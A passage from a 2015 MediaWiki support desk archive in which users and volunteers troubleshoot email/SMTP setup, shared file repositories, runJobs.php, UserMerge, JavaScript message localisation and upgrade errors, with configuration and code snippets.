I have installed mediawiki over WAMP in one of the servers of my company LAN. The SMTP server (exchange server) is different from the one that I have installed mediawiki on it. now I need to use a method to make it able to work between the two servers, I installed PEAR as well but nothing yet.
I am using mediawiki for a centralized documentation platform for my work. I installed mediawiki in one server. Normally when I want to confirm my email it should work but it does not. And get a fatal error. On the other hand, the organization that I work has exchange server so I thought that it is better to use my work email, but the mediawiki can not communicate with exchange server. I hope to get rid of this problem otherwise i can not use notification extension, I need to notify other users of documentation platform about the recent changes by email so if it does not work I can not and the documentation is not useful.

this is from php.ini

[mail function]mail
; For Win32 only.
; http://php.net/smtp
SMTP ='http://192........' "the ip address of the smtp (exchange) server "
; http://php.net/smtp-port
smtp_port = 27

; For Win32 only.
; http://php.net/sendmail-from
sendmail_from = you@yourdomain

; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
; http://php.net/sendmail-path
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"

and this is from LocalSetting.php

#Email

$wgSMTP = array(
'host' => "http://192.........", "the ip address of the smtp (exchange) server "
'IDHost' => "Name of the exchange server",
'port'=> 27,
'auth' => false,
);

any help would be really appreciated.

Regards,
Poopak [[User:Poopak~mediawikiwiki|Poopak~mediawikiwiki]] ([[User talk:Poopak~mediawikiwiki|talk]]) 04:38, 8 January 2015 (UTC)

== Why it ask me whether to 'clear the cache of this page' all the time ==

I setup the media wiki with SimpleSAML extension ready. I can log into the wiki. However, every time when the cookie is expired, the page will ask me to clear the cache with following messages. Is there something wrong in settings? I went through http://www.mediawiki.org/wiki/Manual:System_administration but didn't find obvious variable to make it right. Idea?

Clear the cache of this page?
[OK button]
Purging a page clears the cache and forces the most current revision to appear. [[Special:Contributions/2601:8:9800:9ED0:4429:1F24:AD34:AEEE|2601:8:9800:9ED0:4429:1F24:AD34:AEEE]] ([[User talk:2601:8:9800:9ED0:4429:1F24:AD34:AEEE|talk]]) 07:02, 8 January 2015 (UTC)
:That message appears when you add the ?action=purge to the URL and you're not logged in. It may be a problem with that extension or other. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:50, 9 January 2015 (UTC)

== Special page slows down, this gets spammed into the web server log ==

<pre style="overflow:auto">23.239.27.244 - - [08/Jan/2015:12:51:20 -0500] "GET /w/api.php?titles=File%3AExample.jpg&iiprop=timestamp% 7Cuser%7Ccomment%7Curl%7Csize%7Csha1%7Cmetadata%7Cmime%7Cmediatype%7Cextmetadata&prop=imageinfo&iimetadataversion=2&iiextmetadatamultilang=1&format=json&action=query&redirects=true&uselang=en HTTP/1.0" 200 450 "-" "MediaWiki/1.23.6 ForeignAPIRepo/2.1"</pre>

The file is from the WMF Commons which is no longer enabled. The IP address is the IP address of the website. The file is no longer on the wiki, but that gets spammed when accessing a special page, and the site slows down.

https://redsec.ru/wiki/Main_Page

Generates warnings on Android, others should have the CA. Lieutenant [[User:Lieutenant S. Reznov|Aleksandr Reznov]] 18:04, 8 January 2015 (UTC)
:I've accessed several special pages of your wiki, inspecting every request made by my browser (mozilla firefox) and there wasn't any request pointing to the api.
:The user agent <code>MediaWiki/1.23.6 ForeignAPIRepo/2.1</code> seems to be an attempt from '''another wiki''' (or your own wiki if you configured it wrong) to get that image ''from your wiki'', not from commons, like if that wiki is configured to fetch images from your wiki. If 23.239.27.244 corresponds to your own wiki, then probably you configured it wrong, if you set the foreign repo URL to be your own wiki. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:47, 9 January 2015 (UTC)
::The wiki is running [[Extension:SimpleFarm|SimpleFarm]]. File uploads are enabled on a single wiki and shared with FileRepos. Technically the Community Wiki is has a ForeignRepo to itself, which maybe is creating some sort of loop?
::The extension serves different wikis based on the domain name. Lieutenant [[User:Lieutenant S. Reznov|Aleksandr Reznov]] 17:32, 9 January 2015 (UTC)
:::You should be able to specify a different configuration for repositories for that wiki.
:::If the database server is the same, you may use shared tables for file repositories. See [https://www.mediawiki.org/wiki/Manual:Wiki_family#Upload] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 14:34, 10 January 2015 (UTC)
::::Thank you.
::::This works but there is no display of images that are smaller than the original.
::::https://redsec.ru/wiki/User:Lieutenant_S. Lieutenant [[User:Lieutenant S. Reznov|Aleksandr Reznov]] 17:42, 10 January 2015 (UTC)
:::::You may need to turn [[Manual:$wgGenerateThumbnailOnParse|$wgGenerateThumbnailOnParse]] off and use [[Manual:thumb.php|thumb.php]] as a 404 handler [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 18:54, 11 January 2015 (UTC)
::::::<syntaxhighlight lang='text'>$wgGenerateThumbnailOnParse = false;
$wgThumbnailScriptPath = "{$wgScriptPath}/thumb.php";
$wgForeignFileRepos[] = array(
'class' => 'ForeignDBRepo',
'name' => 'sharedFileWiki',
'url' => "http://meta.redsec.ru/w/images/images_mwf_meta",
'directory' => '/jsnldfkjvndlkvn/w/images/images_mwf_meta',
'hashLevels' => 2, // This must be the same for the other family member
'dbType' => $wgDBtype,
'dbServer' => $wgDBserver,
'dbUser' => $wgDBuser,
'dbPassword' => $wgDBpassword,
'dbFlags' => DBO_DEFAULT,
'dbName' => 'mwf_meta',
'tablePrefix' => 'mw_',
'hasSharedCache' => false,
'descBaseUrl' => 'http://meta.redsec.ru/wiki/File:',
'thumbScriptUrl' => $wgSharedThumbnailScriptPath,
'transformVia404' => !$wgGenerateThumbnailOnParse,
'fetchDescription' => false
);
</syntaxhighlight>
::::::I have this and reduced size images still don't show up. Lieutenant [[User:Lieutenant S. Reznov|Aleksandr Reznov]] 21:51, 11 January 2015 (UTC)
:::::::Well, "images don't show up" isn't verbose enough. There are many possibilities, like displaying an error message, resulting in a HTTP 404 error page or 500 error.
:::::::[[Manual:thumb.php|thumb.php]] is used to generate thumbnails from the 404 error handler. That manual page contains an invocation example. Try to use it where the image fails to "show up" and tell us if you got any error message. An example of page not displaying the thumbnail would be also welcome. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 22:02, 12 January 2015 (UTC)
::::::::Here's the page I'm using.
::::::::[https://redsec.ru/wiki/User:Lieutenant_S.]
::::::::http works fine. Console says it has to be over https for those images.
::::::::I changed the domain from meta.redsec.ru, where the images are uploaded, to redsec.ru so it can use the SSL cert without warnings. Lieutenant [[User:Lieutenant S. Reznov|Aleksandr Reznov]] 16:24, 13 January 2015 (UTC)
:::::::::I wasn't able to investigate the issue before. That user page is displaying the images for me now. Is the issue now resolved?
:::::::::I see, however, that the URL of the file is different on that wiki than the URL in the shared repository.
:::::::::Also, at the end of [http://meta.redsec.ru/wiki/File:Lexicanum_symbol.jpg] display "The following file is a duplicate of this file (...)", displaying exactly the same image.
:::::::::Looking at [[Manual:$wgForeignFileRepos]], apparently it's populated dynamically based on the value of other config variables (see the section ''Default value (code in Setup.php)''). Maybe, to make it work with the SimpleFarm extension, you can try to set those variables instead of defining the $wgForeignFileRepos array. That way, the meta wiki should have $wgUseSharedUploads to false, while the other wikis should have it set to true. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 22:22, 15 January 2015 (UTC)

== [RESOLVED] RunJobs.php hangs on execution ==

RunJobs.php produces no output and does not complete execution when run from the command line.

<pre>Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd c:\inetpub\wwwroot\dev24\maintenance

c:\inetpub\wwwroot\dev24\maintenance>php runjobs.php
^C
c:\inetpub\wwwroot\dev24\maintenance>
</pre>

As you can see, I have to abort execution every time (unless the job queue is 0).

Note: It appears as though another user is having the same issue and documented it on the [[Manual_talk:RunJobs.php#runJobs.php hangs on execution|RunJobs discussion]] page.

# System Configuration:
#* MediaWiki: 1.24.1 (a8eda20) (same issue experienced on 1.23.8)
#* PHP: 5.4.20 (cgi-fcgi)
#* MySQL: 5.6.14
#* Webserver: IIS 7.5, Windows Authentication (Anonymous Authentication disabled)
# Wiki is a private corporate wiki - the URL is not web accessible

Log Contents:
<pre style="white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;">
0.0312 1.5M Start command line script runjobs.php
0.0468 1.8M [caches] main: WinCacheBagOStuff, message: WinCacheBagOStuff, parser: WinCacheBagOStuff
0.0624 3.0M [caches] LocalisationCache: using store LCStoreCDB
0.0780 4.0M Fully initialised
0.1092 5.0M Connected to database 0 at 127.0.0.1
0.1092 5.0M Query mwdev (1) (slave): SELECT /* JobQueueDB::doGetSiblingQueuesWithJobs */ DISTINCT job_cmd FROM `job` WHERE job_cmd IN ('refreshLinks','refreshLinks2','htmlCacheUpdate','sendMail','enotifNotify','fixDoubleRedirect','uploadFromUrl','AssembleUploadChunks','PublishStashedFile','null')
0.1092 5.0M LoadBalancer::reuseConnection: this connection was not opened as a foreign connection
0.1092 5.0M Query mwdev (2) (slave): SELECT /* JobQueueDB::claimRandom */ job_id,job_cmd,job_namespace,job_title,job_timestamp,job_params,job_random,job_attempts,job_token,job_token_timestamp,job_sha1 FROM `job` WHERE job_cmd = 'refreshLinks' AND job_token = '' LIMIT 88,1
0.1092 5.0M Query mwdev (3) (slave): SELECT /* JobQueueDB::claimRandom */ job_id,job_cmd,job_namespace,job_title,job_timestamp,job_params,job_random,job_attempts,job_token,job_token_timestamp,job_sha1 FROM `job` WHERE job_cmd = 'refreshLinks' AND job_token = '' AND (job_random >= '18174153') ORDER BY job_random ASC LIMIT 1
0.1092 5.0M DatabaseBase::query: Writes done: UPDATE `job` SET job_token = 'X'
0.1092 5.0M Query mwdev (4) (slave): UPDATE /* JobQueueDB::claimRandom */ `job` SET job_token = '2d61852a9a7731265203632d5f49e0f1',job_token_timestamp = '20150108174628',job_attempts = job_attempts+1 WHERE job_cmd = 'refreshLinks' AND job_id = '235' AND job_token = ''
0.1716 5.0M LoadBalancer::reuseConnection: this connection was not opened as a foreign connection
</pre>

Any assistance is appreciated! [[User:Nha4601|Nha4601]] ([[User talk:Nha4601|talk]]) 18:05, 8 January 2015 (UTC)
:* Try running the script from your main mediawiki directory (the one with LocalSettings.php inside), e.g.
:<code> php maintenance\runjobs.php</code>
:* Additionally, try using a separate LocalSettings.php without caching enabled (CACHE_NONE).
:HTH and best regards,
:Thomas [[Special:Contributions/79.202.101.174|79.202.101.174]] 07:37, 21 January 2015 (UTC)
::Thanks Thomas - Problem solved!
::* running script from main mediawiki directory: '''No effect'''
::* disabling caching: '''SOLVED''' - runjobs.php executes to completion [[User:Nha4601|Nha4601]] ([[User talk:Nha4601|talk]]) 12:16, 21 January 2015 (UTC)

== Preview page always displays limit report in version 1.24.1 ==

In the version 1.24.1 of MediaWiki i found no way to disable the limit report on the preview page, even if $wgEnableParserLimitReporting is set to false. If i remove line:

$parserOptions->enableLimitReport();

in file includes/EditPage.php the limit report is only displayed, if $wgEnableParserLimitReporting is true. Is this a bug, or am i missing something?

Thank you very much in advance. [[Special:Contributions/217.94.135.173|217.94.135.173]] ([[User talk:217.94.135.173|talk]]) 10:07, 9 January 2015 (UTC)

== Benutzerkonten zusammenführen und löschen ==

Als ich UserMerge installierte und PHP-Befehle eingab (siehe unten), konnte ich leider nur einen Benutzerkonto auf Anonymous zusammenführen und den anderen löschen. Jetzt kann ich leider andere Spamaccounts nicht auf Anonymous verschieben und auch nicht die anderen löschen. Bei jeder Nutzung erscheint "Datenbankfehler". Egal was ich tue, es erscheint nur "Datenbankfehler", wenn ich die Felder ausfülle, die Option "Alten Benutzernamen löschen" auswähle und dann auf "Benutzerkonten zusammenführen" navigiere.

<syntaxhighlight lang="php">

##Für UserMerge
# Beachte die Befehle!
$wgGroupPermissions['bureaucrat']['usermerge'] = true;
$wgUserMergeProtectedGroups = array();

[...]

##Hier werden alle Erweiterungen aufgelistet. Diese Befehle aktivieren die Erweiterungen
[...]
require_once "$IP/extensions/UserMerge/UserMerge.php";
</syntaxhighlight>
[...] = Etwas was, zwischen den Befehlen ist und in Wirklichkeit unwichtig ist.

Bitte um Hilfe! Auch die Datei, <code>mw-config/index.php</code>, konnte das Problem nicht beheben. [[Special:Contributions/2003:57:E31F:9301:ED41:DA45:3484:684A|2003:57:E31F:9301:ED41:DA45:3484:684A]] ([[User talk:2003:57:E31F:9301:ED41:DA45:3484:684A|talk]]) 12:47, 9 January 2015 (UTC)
:Es sollten immer zuerst die Erweiterungen eingebunden werden und DANACH relevante Einstellungen für diese Erweiterungen gesetzt werden.
:Dies hat damit zu tun, dass beim Einbinden meist Standardeinstellungen gesetzt werden, die ansonsten deine Einstellungen überschreiben.
:Sind zufällig die anderen Spam-Accounts gesperrt? Wenn ja, dann hört es sich nach https://phabricator.wikimedia.org/T41470 an (Can't merge blocked users: Duplicate entry for key 'ipb_address'). Dies ist jedoch derzeit nur in der aktuellsten Version (genannt "master") behoben. Ich kann dir leider nicht sagen, ob diese Version mit deiner MediaWiki-Version kompatible ist, auch weil du sie nicht angeben hast. Du kannst es aber mal ausprobieren. [[User:Se4598|se4598]] ([[User talk:Se4598|talk]]) 13:05, 9 January 2015 (UTC)
::Hupps, die Versionzahl habe ich vergessen:
::MediaWiki 1.23.4
::PHP: 5.4.35-0+deb7u2 (cgi-fcgi)
::MySQL: 5.5.40-0+wheezy1
::Die Spamaccounts mussten gesperrt werden, eine andere Wahl hatte ich nicht gehabt. Gut, danke für den Hinweis :) Jetzt weiß ich wofür die master-Version gedacht ist. Soll ich die master Version durch die 1.23 Version ersetzen oder liegt es nur daran, dass ich auf falsche Art und Weise diese Erweiterung installierte? [[Special:Contributions/2003:57:E31F:9301:ED41:DA45:3484:684A|2003:57:E31F:9301:ED41:DA45:3484:684A]] 13:22, 9 January 2015 (UTC)
:::Soweit ich das überblicke, solltest du die aktuelle master-Version von UserMerge einsetzen können, in der das Problem behoben ist.
:::Die Version bekommst du z.B. [https://git.wikimedia.org/zip/?r=mediawiki/extensions/UserMerge&h=refs/heads/master&format=gz hier].
:::Die sollte mit deinem MediaWiki 1.23 funktionieren (natürlich vorher zur Sicherheit Backups erstellen).
:::Und in der Wiki-Einstellungsdatei bitte wie oben angesprochen, erst die Erweiterung mit require_once einbinden, dann danach deine Erweierungs-spezifischen Einstellungen vornehmen. [[User:Se4598|se4598]] ([[User talk:Se4598|talk]]) 13:30, 10 January 2015 (UTC)

== [RESOLVED] How to set a page with no access using private mediawiki ==

Hi,
I would like to know if there is a method that allows to an external person, the reading a specific page of my website without make the login.

Many thanks,
Francesco [[Special:Contributions/93.43.1.51|93.43.1.51]] ([[User talk:93.43.1.51|talk]]) 13:32, 9 January 2015 (UTC)
:How do you imagine could that specific external person be verified, without making a login? Or do you talk about making one specific page entirely public while keeping the rest behind login? [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 14:24, 9 January 2015 (UTC)
::Yes, only a public page that can be visited by everyone [[Special:Contributions/93.43.1.51|93.43.1.51]] 15:13, 9 January 2015 (UTC)
:::See [[Manual:$wgWhitelistRead]] [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 21:43, 9 January 2015 (UTC)
::::Many thanks! [[Special:Contributions/93.40.21.167|93.40.21.167]] 08:59, 12 January 2015 (UTC)

== Need help with selecting extensions ==

Hey everyone
I'm setting up a local mediawiki side and I need some recommendation about extensions, I'm hoping there is a clever soul out there that could assist me :).
This wiki side will be focused on troubleshooting and will have a lot articles with pictures in it. What features I would like to see are:
*Being able to adjust the sidebar to the left.
*Have a CategoryTree so it is easy to navigate between articles.
*Be able to select different tabs on each selected topic after selecting them from the sidebar, the tabs would be on the top similar to a browser.
*Better search engine
*Better way to add pictures into wiki, preferably drag and drop.
*Simpler way to create a new wiki link with pictures and some basic modifications (such as making a header and make a text bold). This is to allow more people to add in articles without much complications.
I have looked around and found few possible contenders to select from but I would like to see what you guys could recommend. If there are other extensions that you also recommend I would love to hear about them.
Any assistance is greatly appreciated [[Special:Contributions/213.213.158.80|213.213.158.80]] ([[User talk:213.213.158.80|talk]]) 13:40, 9 January 2015 (UTC)
:[[Manual:Interface/Sidebar]] and [[Extension:CategoryTree]] for the first two items if you check the manual and use the search on this site; terms like "better" and "simpler" are way too subjective to answer without a description of problems that you actually try to solve. [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 14:27, 9 January 2015 (UTC)
::I apologize for the sidebar question and the lack of information, I understand it can be frustrating to get these kind of questions but my current situation prevents me from spending to much time into this. I still want to make it as good as possible for the people that will be using it with the limited time i have. I'm thankful for your answer.
::*For the tabbed extensions I will try out the first link that came up in google(http://www.mediawiki.org/wiki/Extension:Header_Tabs) and will if that will work.
::*What I'm hoping for in the search engine is that it would be able to find incomplete or similar words so even if you type in something that is just 1 letter away or if you type in a word with . in it (like writing john instead of john.wiki.com) I would like the search engine to find it. This might be bit far fetched but it would the users life much easier.
::*When I mentioned making it easier to put stuff into wiki I just want the most user friendly interface known to set up articles(for people that don't remember all the wiki commands, like for headers)
::*Lastly the pictures, since the users have to upload tons of pictures with the articles they write I'm hoping for a easier way to upload alot of pictures at the same time or being able to do it while writing the article.
::I would be really thankful if you could be of more assistance. If there are any other plugin known that are just generally really good for mediawiki I would love to hear about them as well. [[Special:Contributions/213.213.158.80|213.213.158.80]] 15:54, 9 January 2015 (UTC)
:::As far as the files there's [[Extension:MsUpload]], which has a "drag & drop" function. [[User:Mlpearc|'''Mlpearc''']] ([[User talk:Mlpearc|'''open channel''']]) 08:03, 10 January 2015 (UTC)

== [RESOLVED] Tab, button and some link titles do not display properly on pages ==

We are in the process of migrating from MW version 1.15.4 to MW 1.24.1 on a CentOS 5.11 system. We are using PHP 5.4.36 and MySQL 5.0.95. The link to our site is developer.safetyanalyst.org/aashto/index.php/AASHTOWare_Safety_Analyst. Access to this site can be obtained by using 'guest' user name and no password. We have updated all extensions and we are using the MonoBook skin. The site works fine in MW 1.15.4.

In MW 1.24.1, most everything appears to be working fine except that the tab, button, and some link titles are not rendering properly. For example, the view source tab title appears as '&lt:viewsource&gt:' rather than "view source" (the colons are actually semicolons, but I did not want them translated). Also the "page" tab does not display a title. What have we missed? [[User:Djtomich|Djtomich]] ([[User talk:Djtomich|talk]]) 16:13, 9 January 2015 (UTC)
:Hi!
:I see the text "view source" on the according button. When I hover the mouse over the page tab, I see the text "View the content page [c]". So, I believe you missed nothing. You most likely only have to clear your caches (in the browser, maybe in a proxy, if you use one and where else you have caches)! [[Special:Contributions/88.130.125.54|88.130.125.54]] 00:49, 10 January 2015 (UTC)

== Using messages in JavaScript ==

[//www.wikidata.org/wiki/Special:Diff/187021556 My localization attempt] results in <code><markaspatrolleddiff></code> being shown instead of a localized message. What am I doing wrong? Maybe [[User:Nemo bis|Nemo bis]] or [[User:Nikerabbit|Nikerabbit]] could help... [[User:Petr Matas|Petr Matas]] ([[User talk:Petr Matas|talk]]) 16:06, 10 January 2015 (UTC)
:Very interesting question! I myself tried using messages in JavaScript some time ago and I did not get it to work. I'm excited to see how it's actually done... [[Special:Contributions/88.130.125.54|88.130.125.54]] 18:09, 10 January 2015 (UTC)
:That shouldn't work. To use a message in JavaScript, you need to make sure, that it is added to the client, which normally can be done by your ResourceLoader-module ([[Manual:Messages_API#Using_messages_in_JavaScript|click for more information]]). Because you don't have a RL module, i'm not sure, if it is possible in any way to use localised messages in user scripts (iirc that is one main disadvantage of the Gadgets extension, too). Maybe Nemo_bis or Nikerabbit knows a way :/ [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 21:25, 10 January 2015 (UTC)
:You need to download the message first. Here's an example:
:<syntaxhighlight lang="javascript">
new mw.Api().get( {
action: 'query',
meta: 'allmessages',
amlang: mw.config.get( 'wgUserLanguage' ),
ammessages: 'markaspatrolleddiff'
} ).done( function( data ) {
var message = data.query.allmessages[0];
if ( message.missing === '' ) {
return;
}
mw.messages.set( message.name, message['*'] );

console.log( mw.msg( 'markaspatrolleddiff' ) );
} );
</syntaxhighlight> [[Special:Contributions/144.131.184.246|144.131.184.246]] 04:02, 11 January 2015 (UTC)
::Awesome! By the way, shouldn't there be <code>var message = data'''[0]'''.query.allmessages[0];</code> in your example? [[User:Petr Matas|Petr Matas]] ([[User talk:Petr Matas|talk]]) 06:30, 11 January 2015 (UTC)
:::No, there most certainly shouldn't. "data" is an object, not an array.
:::<syntaxhighlight lang="yaml">
{
"warnings":{
"query":{
"*":"Formatting of continuation data will be changing soon[...]"
}
},
"query":{
"allmessages":[
{
"name":"markaspatrolleddiff",
"*":"Mark as patrolled"
}
]
}
}
</syntaxhighlight> [[Special:Contributions/60.230.39.201|60.230.39.201]] 09:27, 11 January 2015 (UTC)
:::(New post since apparently editing doesn't actually work.) I see what the problem is. You're using $.when, which when passed multiple values puts them in an array. The API returns two objects.
:::I also note that you're including mediawiki.jqueryMsg, which is rather overkill for the basic message you're using. You only use it if you need more advanced parsing (int, plural, gender, links, etc.). This means you don't need to use $.when, so you wouldn't need the [0]. [[Special:Contributions/60.230.39.201|60.230.39.201]] 09:48, 11 January 2015 (UTC)
::::Thank you very much! Here is my [//www.wikidata.org/w/index.php?diff=187501837&oldid=187022208 final reusable implementation]. [[User:Petr Matas|Petr Matas]] ([[User talk:Petr Matas|talk]]) 10:09, 12 January 2015 (UTC)

== My site is messed up somehow ==

Hi Wiki Geniuses.

A site I'm responsible for is messed up. Could someone look at the main page at vanslyck.us and tell me where to go?

Thanks. [[User:RiverStyx23|RiverStyx23]] ([[User talk:RiverStyx23|talk]]) 15:55, 11 January 2015 (UTC)
:Hi!
:You are using MediaWiki 1.19.3 and the site displays this error:
:Warning: preg_match(): Compilation failed: group name must start with a non-digit at offset 8 in includes/MagicWord.php on line 872.
:This sounds like a duplicate of this problem: [[Thread:Project:Support_desk/Warning:_preg_replace():_Compilation_failed:_group_name_must_start_with_a_non-digit_at_offset_4_i]]
:Result there was: This error happens because the server where your MediaWiki is running upgraded the PCRE package to a newer version, introducing this breaking change. Please, upgrade MediaWiki to solve the issue (latest releases of MediaWiki 1.19 and newer versions have fixed this issue).
:See [[Upgrade]] for our upgrade guide! [[Special:Contributions/88.130.95.50|88.130.95.50]] 16:07, 11 January 2015 (UTC)

== Interne Links ==

Ich habe eine Frage. Es ist ja möglich (existierende) Seiten als interne Links zu wiedergeben. Doch wie ist es bei der Versionsgeschichte und die Versionsunterschiede? Wenn man die Versionsgeschichte aufrufen möchte, so kann man ja in der URL <code>?action=history</code> eingeben. Wenn man den kompletten Link kopiert und irgendwo einfügt, dann ist der Link extern, doch wie kann man solche Seiten als interne Links wiedergeben? [[Special:Contributions/2003:57:E31F:9301:FD8B:1D03:C352:DF54|2003:57:E31F:9301:FD8B:1D03:C352:DF54]] ([[User talk:2003:57:E31F:9301:FD8B:1D03:C352:DF54|talk]]) 17:36, 11 January 2015 (UTC)

== Can't Get Mediawiki:Emailsender v1.23.6 to work. ==

Hi all.

I have an MediaWiki v1.23.6 installation up and running. I have PEAR Mail installed and mails are sent properly. However, I can't get it working with an alternative displayname. Any changes to MediaWiki:Emailsender doesn't apply. It's only the $wgPasswordSender setting in LocalSettings.php that works with just the e-mail adresser.

$wgPasswordSender = "mymail@mydomain.com"; <= Works fine 
$wgPasswordSender = "My Name <mymail@mydomain.com>"; <= Results in no mail sent.

Any ideas, anyone?

Regards [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 23:43, 11 January 2015 (UTC)
:Only the address belongs in $wgPasswordSender. To change the name, edit the page "MediaWiki:Emailsender" on your wiki. [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 21:26, 13 January 2015 (UTC)
::Okay.
::Tested that. Now I have...
::<code> $wgPasswordSender = "mymail@mydomain.com"; </code>
::... in LocalSettings.php and changed the page MediaWiki:Emailsender from
::<code> <nowiki>{{SITENAME}}</nowiki></code>
::... to ...
::<code> My Displayname</code>
::Still, it does not change the displayname in the mail end users receive. Did I understand you correctly, Jackmcbarn?
::Regards. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 22:03, 13 January 2015 (UTC)
:::$wgPasswordSenderName still exists. Even though it's marked as deprecated, you should try it, since its replacement isn't working for you. [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 19:07, 14 January 2015 (UTC)
::::I have tried that to. I didn't make a defference either.
::::Does some of theese parameters rely on one another? I mean, if some parameter is set in PHP.INI og LocalSettings.php, does the MediaWiki:EmailSender get overridden? The only parameter I obviously can change are the $wgPasswordSender. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 08:53, 16 January 2015 (UTC)
:::::How is your server set up to send email? It's possible that the mail server is overriding the "From" field. [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 23:39, 16 January 2015 (UTC)
::::::This is what I got in LacalSettings.php, in correct order. I see now that I have set parameter twice, but the latter seem to be the one with an effect.
::::::<code> $wgEnableEmail = true;</code>
::::::<code> $wgEnableUserEmail = true; # UPO</code>
::::::<code> $wgEmergencyContact = "apache@dlmap08";</code>
::::::<code> $wgPasswordSender = 'My.Name@domain.lan';</code>
::::::<code> $wgEnotifUserTalk = false; # UPO</code>
::::::<code> $wgEnotifWatchlist = false; # UPO</code>
::::::<code> $wgEmailAuthentication = true;</code>
::::::<code> < snap ></code>
::::::<code> $wgSMTP = array(</code>
::::::<code> 'host' => "dlmexf01.dulram.lan", <- This is real</code>
::::::<code> 'IDHost' => "example.com", </code>
::::::<code> 'port' => 25, </code>
::::::<code> 'auth' => false, </code>
::::::<code> 'username' => "my_user_name", </code>
::::::<code> 'password' => "my_password" </code>
::::::<code> );</code>
::::::<code> < snap ></code>
::::::<code> $wgEnableMail = true;</code>
::::::<code> $wgEnableUserMail = true;</code>
::::::<code> $wgEnotifUserTalk = true;</code>
::::::<code> $wgEnotifWatchlist = true;</code>
::::::<code> $wgEmailAuthentication = true;</code>
::::::<code> $wgDefaultUserOptions['enotifwatchlistpages'] = true;</code> [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 12:44, 17 January 2015 (UTC)
:::::::What is the name that you see in the From field? Also, can you test manually sending a message with that SMTP configuration to see whether it's the SMTP server that's doing it? [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 19:44, 17 January 2015 (UTC)
::::::::That code from the previos post is actually what I'm using.
::::::::I don't think it's the SMTP server that's doing anything wrong.
::::::::I have made this PHP script for testing, and it works like a charm. It's shows the alternative displayname as intended.
::::::::<code> <?php</code>
::::::::<code> require_once "Mail.php";</code>
::::::::<code> -</code>
::::::::<code> $from = "Web Master <webmaster@mydomain.lan>";</code>
::::::::<code> $to = "My.Name@mydomain.lan";</code>
::::::::<code> $subject = "Test from server";</code>
::::::::<code> $body = "Hi,\n\nHow are you?";</code>
::::::::<code> -</code>
::::::::<code> $host = "exchange.mydomain.lan";</code>
::::::::<code> $username = "dummy";</code>
::::::::<code> $password = "dummypwd";</code>
::::::::<code> -</code>
::::::::<code> $headers = array ('From' => $from,</code>
::::::::<code> 'To' => $to,</code>
::::::::<code> 'Subject' => $subject);</code>
::::::::<code> $smtp = Mail::factory('smtp',</code>
::::::::<code> array ('host' => $host,</code>
::::::::<code> 'auth' => false,</code>
::::::::<code> 'username' => $username,</code>
::::::::<code> 'password' => $password));</code>
::::::::<code> -</code>
::::::::<code> $mail = $smtp->send($to, $headers, $body);</code>
::::::::<code> -</code>
::::::::<code> if (PEAR::isError($mail)) {</code>
::::::::<code> echo("<nowiki></nowiki>" . $mail->getMessage() . "<nowiki></nowiki>");</code>
::::::::<code> } else {</code>
::::::::<code> echo("<nowiki></nowiki>Message successfully sent!!<nowiki></nowiki>");</code>
::::::::<code> }</code>
::::::::<code> ?></code> [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 20:58, 17 January 2015 (UTC)
:::::::::What name shows up in the From field with your current configuration? [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 21:40, 17 January 2015 (UTC)
::::::::::The e-Mail address specified in $wgPasswordSender. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 09:27, 18 January 2015 (UTC)
:::::::::::I know that's the address that shows up. What display name shows up? [[User:Jackmcbarn|Jackmcbarn]] ([[User talk:Jackmcbarn|talk]]) 16:51, 18 January 2015 (UTC)
::::::::::::No display name shows up at all. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 18:20, 18 January 2015 (UTC)
:::::::::::::When I set $wgPasswordSender = "My Name <my.name@mydomain.lan>" in LocalSettings.php, I get this message in php_errors.txt: "PHP Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\.....\pear\Net\SMTP.php on line 489".
:::::::::::::Does that give anybody a hint? [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 13:35, 19 January 2015 (UTC)

== Can not extract the installation .gz file "Unexpected end of file error" ==

Hi,

I downloaded the both the 1.24.1 and 1.23.6 version from this website a couple of times on different machines).

When I extracted the file from bash shell ( on Ubuntu 14) I got this error :
aaa@aaa:~/Downloads/installer$ gunzip -v mediawiki-1.23.8.tar.gz
mediawiki-1.23.8.tar.gz:
gzip: mediawiki-1.23.8.tar.gz: unexpected end of file

'''I tried with 7z :'''
aaa@aaa:~/Downloads/installer$ 7z e mediawiki-1.23.8.tar.gz

7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
